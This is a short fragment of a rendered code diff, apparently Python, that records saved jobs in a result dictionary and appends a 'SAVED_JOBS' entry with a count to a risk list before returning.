result['saved_jobs'] = jobs
|
|
584
|
+
if jobs:
|
|
585
|
+
result['risk'].append(f'SAVED_JOBS ({len(jobs)})')
|
|
586
|
+
|
|
587
|
+
return result
|